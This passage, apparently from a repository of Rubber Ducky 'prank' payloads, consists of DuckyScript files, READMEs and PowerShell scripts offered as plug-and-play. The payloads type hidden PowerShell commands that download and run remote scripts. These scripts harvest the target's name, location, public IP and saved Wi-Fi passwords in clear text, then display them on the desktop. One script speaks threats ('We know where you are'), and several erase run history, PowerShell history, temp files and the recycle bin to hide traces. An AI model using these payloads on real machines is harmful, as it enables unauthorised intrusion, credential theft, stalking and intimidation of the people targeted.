history\r\n\r\nRemove-Item (Get-PSreadlineOption).HistorySavePath\r\n\r\n# Deletes contents of recycle bin\r\n\r\nClear-RecycleBin -Force -ErrorAction SilentlyContinue\r\n"
  },
  {
    "path": "payloads/library/prank/-RD-Rage-PopUps/payload.txt",
    "content": "REM     Title: Rage-PopUps\n\nREM     Author: I am Jakoby\n\nREM     Description: This payload is meant to make a never ending supply of taunting pop-ups. See Rage-PopUps.ps1 for more details\n\nREM     Target: Windows 10, 11\n\nREM     Remeber to replace the link with your link for the intended file to download\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly\n\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\nDELAY 500\nENTER\n"
  },
  {
    "path": "payloads/library/prank/-RD-Wallpaper-Troll/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Wallpaper-Troll\n\nA script I put together to torment Call Center Scammers but can be used on your friends as well.. or Foes.\n\n## Description\n\nThis program enumerates a target PC to get their Name, GeoLocation (Latitude and Longitude), Public IP, Day password was last set, and wifi passwords \nThis information will be saved to a file that is then converted to a .BMP image \nThat image will be saved to their desktop and saved as their wallpaper \nOpening the image on their desktop with NotePad will reveal the binary code with a hidden message at the bottom of the file\n\n![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/RubberDucky/Payloads/RD-Wallpaper-Troll/wp-troll.jpg)\n\n## Getting Started\n\n### Dependencies\n\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n```\npowershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://raw.githubusercontent.com/I-Am-Jakoby/hak5-submissions/main/OMG/Payloads/OMG-Wallpaper-Troll/Wallpaper-Troll.ps1?dl=1?dl=1; invoke-expression $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-Wallpaper-Troll)\n</p>\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/prank/-RD-Wallpaper-Troll/Wallpaper-Troll.ps1",
    "content": "############################################################################################################################################################                      \n#                                  |  ___                           _           _              _             #              ,d88b.d88b                     #                                 \n# Title        : Wallpaper-Troll   | |_ _|   __ _   _ __ ___       | |   __ _  | | __   ___   | |__    _   _ #              88888888888                    #           \n# Author       : I am Jakoby       |  | |   / _` | | '_ ` _ \\   _  | |  / _` | | |/ /  / _ \\  | '_ \\  | | | |#              `Y8888888Y'                    #           \n# Version      : 1.0               |  | |  | (_| | | | | | | | | |_| | | (_| | |   <  | (_) | | |_) | | |_| |#               `Y888Y'                       #\n# Category     : Prank             | |___|  \\__,_| |_| |_| |_|  \\___/   \\__,_| |_|\\_\\  \\___/  |_.__/   \\__, |#                 `Y'                         #\n# Target       : Windows 10,11     |                                                                   |___/ #           /\\/|_      __/\\\\                  #     \n# Mode         : HID               |                                                           |\\__/,|   (`\\ #          /    -\\    /-   ~\\                 #             \n#                                  |  My crime is that of curiosity                            |_ _  |.--.) )#          \\    = Y =T_ =   /                 #      \n#                                  |   and yea curiosity killed the cat                        ( T   )     / #   Luther  )==*(`     `) ~ \\   Hobo          #                                                                                              \n#                                  |    but satisfaction brought him back                     (((^_(((/(((_/ #          /     \\     /     \\                #    \n#__________________________________|_________________________________________________________________________#          |     |     ) ~   (                #\n#                                                                                                            #         /       \\   /     ~ \\               #\n#  github.com/I-Am-Jakoby                                                                                    #         \\       /   \\~     ~/               #         \n#  twitter.com/I_Am_Jakoby                                                                                   #   /\\_/\\_/\\__  _/_/\\_/\\__~__/_/\\_/\\_/\\_/\\_/\\_#                     \n#  instagram.com/i_am_jakoby                                                                                 #  |  |  |  | ) ) |  |  | ((  |  |  |  |  |  |#              \n#  youtube.com/c/IamJakoby                                                                                   #  |  |  |  |( (  |  |  |  \\\\ |  |  |  |  |  |#\n############################################################################################################################################################\n\n<#\n\n.DESCRIPTION \n\tThis program gathers details from target PC to include name associated with the microsoft account, their latitude and longitude, \n\tPublic IP, and  and the SSID and WiFi password of any current or previously connected to networks.\n\tIt will take the gathered information and generate a .jpg with that information on show \n\tFinally that .jpg will be applied as their Desktop Wallpaper so they know they were owned\n\tAdditionally a secret message will be left in the binary of the wallpaper image generated and left on their desktop\n#>\n#############################################################################################################################################\n\n# this is the message that will be coded into the image you use as the wallpaper\n\n$hiddenMessage = \"`n`nMy crime is that of curiosity `nand yea curiosity killed the cat `nbut satisfaction brought him back `n with love -Jakoby\"\n\n# this will be the name of the image you use as the wallpaper\n\n$ImageName = \"dont-be-suspicious\"\n\n#############################################################################################################################################\n\n<#\n\n.NOTES  \n\tThis will get the name associated with the microsoft account\n#>\n\n function Get-Name {\n\n    try {\n\n    $fullName = Net User $Env:username | Select-String -Pattern \"Full Name\";$fullName = (\"$fullName\").TrimStart(\"Full Name\")\n\n    }\n \n # If no name is detected function will return $null to avoid sapi speak\n\n    # Write Error is just for troubleshooting \n    catch {Write-Error \"No name was detected\" \n    return $env:UserName\n    -ErrorAction SilentlyContinue\n    }\n\n    return $fullName\n\n}\n\n$fn = Get-Name\n\necho \"Hey\" $fn >> $Env:temp\\foo.txt\n\necho \"`nYour computer is not very secure\" >> $Env:temp\\foo.txt\n\n#############################################################################################################################################\n\n<#\n\n.NOTES \n\tThis is to get the current Latitide and Longitude of your target\n#>\n\nfunction Get-GeoLocation{\n\ttry {\n\tAdd-Type -AssemblyName System.Device #Required to access System.Device.Location namespace\n\t$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object\n\t$GeoWatcher.Start() #Begin resolving current locaton\n\n\twhile (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {\n\t\tStart-Sleep -Milliseconds 100 #Wait for discovery.\n\t}  \n\n\tif ($GeoWatcher.Permission -eq 'Denied'){\n\t\tWrite-Error 'Access Denied for Location Information'\n\t} else {\n\t\t$GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevent results.\n\t\t\n\t}\n\t}\n    # Write Error is just for troubleshooting\n    catch {Write-Error \"No coordinates found\" \n    return \"No Coordinates found\"\n    -ErrorAction SilentlyContinue\n    } \n\n}\n\n$GL = Get-GeoLocation\nif ($GL) { echo \"`nYour Location: `n$GL\" >> $Env:temp\\foo.txt }\n\n\n#############################################################################################################################################\n\n<#\n\n.NOTES  \n\tThis will get the public IP from the target computer\n#>\n\n\nfunction Get-PubIP {\n\n    try {\n\n    $computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content\n\n    }\n \n # If no Public IP is detected function will return $null to avoid sapi speak\n\n    # Write Error is just for troubleshooting \n    catch {Write-Error \"No Public IP was detected\" \n    return $null\n    -ErrorAction SilentlyContinue\n    }\n\n    return $computerPubIP\n}\n\n$PubIP = Get-PubIP\nif ($PubIP) { echo \"`nYour Public IP: $PubIP\" >> $Env:temp\\foo.txt }\n\n\n###########################################################################################################\n\n<#\n\n.NOTES \n\tPassword last Set\n\tThis function will custom tailor a response based on how long it has been since they last changed their password\n#>\n\n\n function Get-Days_Set {\n\n    #-----VARIABLES-----#\n    # $pls (password last set) = the date/time their password was last changed \n    # $days = the number of days since their password was last changed \n\n    try {\n \n    $pls = net user $env:USERNAME | Select-String -Pattern \"Password last\" ; $pls = [string]$pls\n    $plsPOS = $pls.IndexOf(\"e\")\n    $pls = $pls.Substring($plsPOS+2).Trim()\n    $pls = $pls -replace \".{3}$\"\n    $time = ((get-date) - (get-date \"$pls\")) ; $time = [string]$time \n    $DateArray =$time.Split(\".\")\n    $days = [int]$DateArray[0]\n    return $pls\n    \n    }\n \n # If no password set date is detected funtion will return $null to cancel Sapi Speak\n\n    # Write Error is just for troubleshooting \n    catch {Write-Error \"Day password set not found\" \n    return $null\n    -ErrorAction SilentlyContinue\n    }\n}\n\n$pls = Get-Days_Set\nif ($pls) { echo \"`nPassword Last Set: $pls\" >> $Env:temp\\foo.txt }\n\n\n###########################################################################################################\n\n<#\n\n.NOTES \n\tAll Wifi Networks and Passwords \n\tThis function will gather all current Networks and Passwords saved on the target computer\n\tThey will be save in the temp directory to a file named with \"$env:USERNAME-$(get-date -f yyyy-MM-dd)_WiFi-PWD.txt\"\n#>\n\n\n# Get Network Interfaces\n$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null }  | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress \n\n# Get Wifi SSIDs and Passwords\t\n$WLANProfileNames =@()\n\n#Get all the WLAN profile names\n$Output = netsh.exe wlan show profiles | Select-String -pattern \" : \"\n\n#Trim the output to receive only the name\nForeach($WLANProfileName in $Output){\n    $WLANProfileNames += (($WLANProfileName -split \":\")[1]).Trim()\n}\n$WLANProfileObjects =@()\n\n#Bind the WLAN profile names and also the password to a custom object\nForeach($WLANProfileName in $WLANProfileNames){\n\n    #get the output for the specified profile name and trim the output to receive the password if there is no password it will inform the user\n    try{\n        $WLANProfilePassword = (((netsh.exe wlan show profiles name=\"$WLANProfileName\" key=clear | select-string -Pattern \"Key Content\") -split \":\")[1]).Trim()\n    }Catch{\n        $WLANProfilePassword = \"The password is not stored in this profile\"\n    }\n\n    #Build the object and add this to an array\n    $WLANProfileObject = New-Object PSCustomobject \n    $WLANProfileObject | Add-Member -Type NoteProperty -Name \"ProfileName\" -Value $WLANProfileName\n    $WLANProfileObject | Add-Member -Type NoteProperty -Name \"ProfilePassword\" -Value $WLANProfilePassword\n    $WLANProfileObjects += $WLANProfileObject\n    Remove-Variable WLANProfileObject\n}\n    if (!$WLANProfileObjects) { Write-Host \"variable is null\" \n    }else { \n\n\t# This is the name of the file the networks and passwords are saved to and later uploaded to the DropBox Cloud Storage\n\n\techo \"`nW-Lan profiles: ===============================\" $WLANProfileObjects >> $Env:temp\\foo.txt\n\n$content = [IO.File]::ReadAllText(\"$Env:temp\\foo.txt\")\n\t}\n#############################################################################################################################################\n\n<#\n\n.NOTES \n\tThis will get the dimension of the targets screen to make the wallpaper\n#>\n\nAdd-Type @\"\nusing System;\nusing System.Runtime.InteropServices;\npublic class PInvoke {\n    [DllImport(\"user32.dll\")] public static extern IntPtr GetDC(IntPtr hwnd);\n    [DllImport(\"gdi32.dll\")] public static extern int GetDeviceCaps(IntPtr hdc, int nIndex);\n}\n\"@\n$hdc = [PInvoke]::GetDC([IntPtr]::Zero)\n$w = [PInvoke]::GetDeviceCaps($hdc, 118) # width\n$h = [PInvoke]::GetDeviceCaps($hdc, 117) # height\n\n#############################################################################################################################################\n\n<#\n\n.NOTES  \n\tThis will get take the information gathered and format it into a .jpg\n#>\n\nAdd-Type -AssemblyName System.Drawing\n\n$filename = \"$env:tmp\\foo.jpg\" \n$bmp = new-object System.Drawing.Bitmap $w,$h \n$font = new-object System.Drawing.Font Consolas,18 \n$brushBg = [System.Drawing.Brushes]::White \n$brushFg = [System.Drawing.Brushes]::Black \n$graphics = [System.Drawing.Graphics]::FromImage($bmp) \n$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height) \n$graphics.DrawString($content,$font,$brushFg,500,100) \n$graphics.Dispose() \n$bmp.Save($filename) \n\n# Invoke-Item $filename \n\n#############################################################################################################################################\n\n<#\n\n.NOTES \n\tThis will take your hidden message and use steganography to hide it in the image you use as the wallpaper \n\tThen it will clean up the files you don't want to leave behind\n#>\n\necho $hiddenMessage > $Env:temp\\foo.txt\ncmd.exe /c copy /b \"$Env:temp\\foo.jpg\" + \"$Env:temp\\foo.txt\" \"$Env:USERPROFILE\\Desktop\\$ImageName.jpg\"\n\nrm $env:TEMP\\foo.txt,$env:TEMP\\foo.jpg -r -Force -ErrorAction SilentlyContinue\n\n\n#############################################################################################################################################\n\n<#\n\n.NOTES \n\tThis will take the image you generated and set it as the targets wall paper\n#>\n\nFunction Set-WallPaper {\n \n<#\n \n    .SYNOPSIS\n    Applies a specified wallpaper to the current user's desktop\n    \n    .PARAMETER Image\n    Provide the exact path to the image\n \n    .PARAMETER Style\n    Provide wallpaper style (Example: Fill, Fit, Stretch, Tile, Center, or Span)\n  \n    .EXAMPLE\n    Set-WallPaper -Image \"C:\\Wallpaper\\Default.jpg\"\n    Set-WallPaper -Image \"C:\\Wallpaper\\Background.jpg\" -Style Fit\n  \n#>\n\n \nparam (\n    [parameter(Mandatory=$True)]\n    # Provide path to image\n    [string]$Image,\n    # Provide wallpaper style that you would like applied\n    [parameter(Mandatory=$False)]\n    [ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]\n    [string]$Style\n)\n \n$WallpaperStyle = Switch ($Style) {\n  \n    \"Fill\" {\"10\"}\n    \"Fit\" {\"6\"}\n    \"Stretch\" {\"2\"}\n    \"Tile\" {\"0\"}\n    \"Center\" {\"0\"}\n    \"Span\" {\"22\"}\n  \n}\n \nIf($Style -eq \"Tile\") {\n \n    New-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force\n    New-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name TileWallpaper -PropertyType String -Value 1 -Force\n \n}\nElse {\n \n    New-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force\n    New-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name TileWallpaper -PropertyType String -Value 0 -Force\n \n}\n \nAdd-Type -TypeDefinition @\" \nusing System; \nusing System.Runtime.InteropServices;\n  \npublic class Params\n{ \n    [DllImport(\"User32.dll\",CharSet=CharSet.Unicode)] \n    public static extern int SystemParametersInfo (Int32 uAction, \n                                                   Int32 uParam, \n                                                   String lpvParam, \n                                                   Int32 fuWinIni);\n}\n\"@ \n  \n    $SPI_SETDESKWALLPAPER = 0x0014\n    $UpdateIniFile = 0x01\n    $SendChangeEvent = 0x02\n  \n    $fWinIni = $UpdateIniFile -bor $SendChangeEvent\n  \n    $ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)\n}\n\n#----------------------------------------------------------------------------------------------------\n\nfunction clean-exfil {\n\n<#\n\n.NOTES \n\tThis is to clean up behind you and remove any evidence to prove you were there\n#>\n\n# Delete contents of Temp folder \n\nrm $env:TEMP\\* -r -Force -ErrorAction SilentlyContinue\n\n# Delete run box history\n\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\n\n# Delete powershell history\n\nRemove-Item (Get-PSreadlineOption).HistorySavePath\n\n# Deletes contents of recycle bin\n\nClear-RecycleBin -Force -ErrorAction SilentlyContinue\n\n}\n\n#----------------------------------------------------------------------------------------------------\n \nSet-WallPaper -Image \"$Env:USERPROFILE\\Desktop\\$ImageName.jpg\" -Style Center\n\nclean-exfil\n \n"
  },
  {
    "path": "payloads/library/prank/-RD-Wallpaper-Troll/payload.txt",
    "content": "REM     Title: Wallpaper-Troll\n\nREM     Author: I am Jakoby\n\nREM     Description: This payload is meant to taunt your target with a revealing wallpaper. See README.md for more details\n\nREM     Target: Windows 10, 11\n\nREM     Remeber to replace the link with your link for the intended file to download if you are using a custom variant of this payload\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly\n\nREM     --------------------------------------------------------------------------------------\nREM     THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.\nREM     --------------------------------------------------------------------------------------\n\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://raw.githubusercontent.com/I-Am-Jakoby/hak5-submissions/main/OMG/Payloads/OMG-Wallpaper-Troll/Wallpaper-Troll.ps1?dl=1; invoke-expression $pl\nDELAY 500\nENTER\n"
  },
  {
    "path": "payloads/library/prank/-RD-We-Found-You/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# We-Found-You\n\nThis script is ready to run as is. Just download and execute with the provided link. \n\n## Description\n\nThis script will get the GeoLocation (Latitude and Longitude) of your target. \nThen a page will open in their browser with a map of their current location on it\nTheir system volume will be turned to max level \nAnd sapi speak with talk through their speakers the message provided or a custom one you provide \n\n![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/RubberDucky/Payloads/RD-We-Found-You/location.jpg)\n\n## Getting Started\n\n### Dependencies\n\n* Windows 10,11\n* Their location services are turned on\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n```\npowershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://raw.githubusercontent.com/I-Am-Jakoby/hak5-submissions/main/OMG/Payloads/OMG-We-Found-You/found-you.ps1?dl=1; invoke-expression $pl\nENTER\n\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-We-Found-You)\n</p>\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/prank/-RD-We-Found-You/found-you.ps1",
    "content": "############################################################################################################################################################                      \r\n#                                  |  ___                           _           _              _             #              ,d88b.d88b                     #                                 \r\n# Title        : We-Found-You      | |_ _|   __ _   _ __ ___       | |   __ _  | | __   ___   | |__    _   _ #              88888888888                    #           \r\n# Author       : I am Jakoby       |  | |   / _` | | '_ ` _ \\   _  | |  / _` | | |/ /  / _ \\  | '_ \\  | | | |#              `Y8888888Y'                    #           \r\n# Version      : 1.0               |  | |  | (_| | | | | | | | | |_| | | (_| | |   <  | (_) | | |_) | | |_| |#               `Y888Y'                       #\r\n# Category     : Prank             | |___|  \\__,_| |_| |_| |_|  \\___/   \\__,_| |_|\\_\\  \\___/  |_.__/   \\__, |#                 `Y'                         #\r\n# Target       : Windows 7,10,11   |                                                                   |___/ #           /\\/|_      __/\\\\                  #     \r\n# Mode         : HID               |                                                           |\\__/,|   (`\\ #          /    -\\    /-   ~\\                 #             \r\n#                                  |  My crime is that of curiosity                            |_ _  |.--.) )#          \\    = Y =T_ =   /                 #      \r\n#                                  |   and yea curiosity killed the cat                        ( T   )     / #   Luther  )==*(`     `) ~ \\   Hobo          #                                                                                              \r\n#                                  |    but satisfaction brought him back                     (((^_(((/(((_/ #          /     \\     /     \\                #    \r\n#__________________________________|_________________________________________________________________________#          |     |     ) ~   (                #\r\n#                                                                                                            #         /       \\   /     ~ \\               #\r\n#  github.com/I-Am-Jakoby                                                                                    #         \\       /   \\~     ~/               #         \r\n#  twitter.com/I_Am_Jakoby                                                                                   #   /\\_/\\_/\\__  _/_/\\_/\\__~__/_/\\_/\\_/\\_/\\_/\\_#                     \r\n#  instagram.com/i_am_jakoby                                                                                 #  |  |  |  | ) ) |  |  | ((  |  |  |  |  |  |#              \r\n#  youtube.com/c/IamJakoby                                                                                   #  |  |  |  |( (  |  |  |  \\\\ |  |  |  |  |  |#\r\n############################################################################################################################################################\r\n\r\n<#\r\n.NOTES\r\n\tThe targets Location Services must be turned on or this payload will not work\r\n\r\n.SYNOPSIS\r\n\tThis script will get the users location and open a map of where they are in their browser and use windows speech to declare you know where they are  \r\n\r\n.DESCRIPTION \r\n\tThis program gathers details from target PC to include Operating System, RAM Capacity, Public IP, and Email associated with microsoft account.\r\n\tThe SSID and WiFi password of any current or previously connected to networks.\r\n\tIt determines the last day they changed thier password and how many days ago.\r\n\tOnce the information is gathered the script will pause until a mouse movement is detected\r\n\tThen the script uses Sapi speak to roast their set up and lack of security\r\n#>\r\n\r\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------\r\n\r\n<#\r\n\r\n.NOTES \r\n\tThis is to get the Name associate with the targets microsoft account, if not detected UserName will be used \r\n#>\r\n\r\nfunction Get-fullName {\r\n\r\n    try {\r\n\r\n    $fullName = Net User $Env:username | Select-String -Pattern \"Full Name\";$fullName = (\"$fullName\").TrimStart(\"Full Name\")\r\n\r\n    }\r\n \r\n # If no name is detected function will return $env:UserName \r\n\r\n    # Write Error is just for troubleshooting \r\n    catch {Write-Error \"No name was detected\" \r\n    return $env:UserName\r\n    -ErrorAction SilentlyContinue\r\n    }\r\n\r\n    return $fullName \r\n\r\n}\r\n\r\n$FN = Get-fullName\r\n\r\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------\r\n\r\n<#\r\n\r\n.NOTES \r\n\tThis is to get the current Latitide and Longitude of your target\r\n#>\r\n\r\nfunction Get-GeoLocation{\r\n\ttry {\r\n\tAdd-Type -AssemblyName System.Device #Required to access System.Device.Location namespace\r\n\t$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object\r\n\t$GeoWatcher.Start() #Begin resolving current locaton\r\n\r\n\twhile (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {\r\n\t\tStart-Sleep -Milliseconds 100 #Wait for discovery.\r\n\t}  \r\n\r\n\tif ($GeoWatcher.Permission -eq 'Denied'){\r\n\t\tWrite-Error 'Access Denied for Location Information'\r\n\t} else {\r\n\t\t$GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevent results.\r\n\t\t\r\n\t}\r\n\t}\r\n    # Write Error is just for troubleshooting\r\n    catch {Write-Error \"No coordinates found\" \r\n    return \"No Coordinates found\"\r\n    -ErrorAction SilentlyContinue\r\n    } \r\n\r\n}\r\n\r\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------\r\n\r\n<#\r\n\r\n.NOTES \r\n\tThis is to pause the script until a mouse movement is detected\r\n#>\r\n\r\nfunction Pause-Script{\r\nAdd-Type -AssemblyName System.Windows.Forms\r\n$originalPOS = [System.Windows.Forms.Cursor]::Position.X\r\n$o=New-Object -ComObject WScript.Shell\r\n\r\n    while (1) {\r\n        $pauseTime = 3\r\n        if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){\r\n            break\r\n        }\r\n        else {\r\n            $o.SendKeys(\"{CAPSLOCK}\");Start-Sleep -Seconds $pauseTime\r\n        }\r\n    }\r\n}\r\n\r\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------\r\n\r\n$GL = Get-GeoLocation\r\n\r\n$GL = $GL -split \" \"\r\n\r\n$Lat = $GL[0].Substring(11) -replace \".$\"\r\n\r\n$Lon = $GL[1].Substring(10) -replace \".$\"\r\n\r\nPause-Script\r\n\r\n# Opens their browser with a map of their current location\r\n\r\nStart-Process \"https://www.latlong.net/c/?lat=$Lat&long=$Lon\"\r\n\r\nStart-Sleep -s 3\r\n\r\n# Sets Volume to max level\r\n\r\n$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)}\r\n\r\n# Sets up speech module \r\n\r\n$s=New-Object -ComObject SAPI.SpVoice\r\n$s.Rate = -2\r\n$s.Speak(\"We found you $FN\")\r\n$s.Speak(\"We know where you are\")\r\n$s.Speak(\"We are everywhere\")\r\n$s.Speak(\"Expect us\")\r\n\r\n\r\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------\r\n\r\n<#\r\n\r\n.NOTES \r\n\tThis is to clean up behind you and remove any evidence to prove you were there\r\n#>\r\n\r\n# Delete contents of Temp folder \r\n\r\nrm $env:TEMP\\* -r -Force -ErrorAction SilentlyContinue\r\n\r\n# Delete run box history\r\n\r\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\r\n\r\n# Delete powershell history\r\n\r\nRemove-Item (Get-PSreadlineOption).HistorySavePath\r\n\r\n# Deletes contents of recycle bin\r\n\r\nClear-RecycleBin -Force -ErrorAction SilentlyContinue\r\n"
  },
  {
    "path": "payloads/library/prank/-RD-We-Found-You/payload.txt",
    "content": "REM     Title: Rage-PopUps\r\n\r\nREM     Author: I am Jakoby\r\n\r\nREM     Description: This payload is meant to open a map in your targets web browser with their current location\r\n\r\nREM     Target: Windows 10, 11\r\n\r\nREM     --------------------------------------------------------------------------------------\r\nREM     THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.\r\nREM     --------------------------------------------------------------------------------------\r\n\r\nGUI r\r\nDELAY 500\r\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://raw.githubusercontent.com/I-Am-Jakoby/hak5-submissions/main/OMG/Payloads/OMG-We-Found-You/found-you.ps1?dl=1; invoke-expression $pl\r\nENTER\r\n"
  },
  {
    "path": "payloads/library/prank/-RD-YT-Tripwire/ReadMe.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n\n<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to;YouTube+Tripwire!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# YouTube Tripwire\n\nPlays any YouTube video after a mouse movement is detected\n\n## Description\n\nThis script is a one liner that can fit in the runbox by itself \nJust replace the URL for the Youtube video and run it \nYou can now unplug your device and walk away \nWhen your target returns and moves their 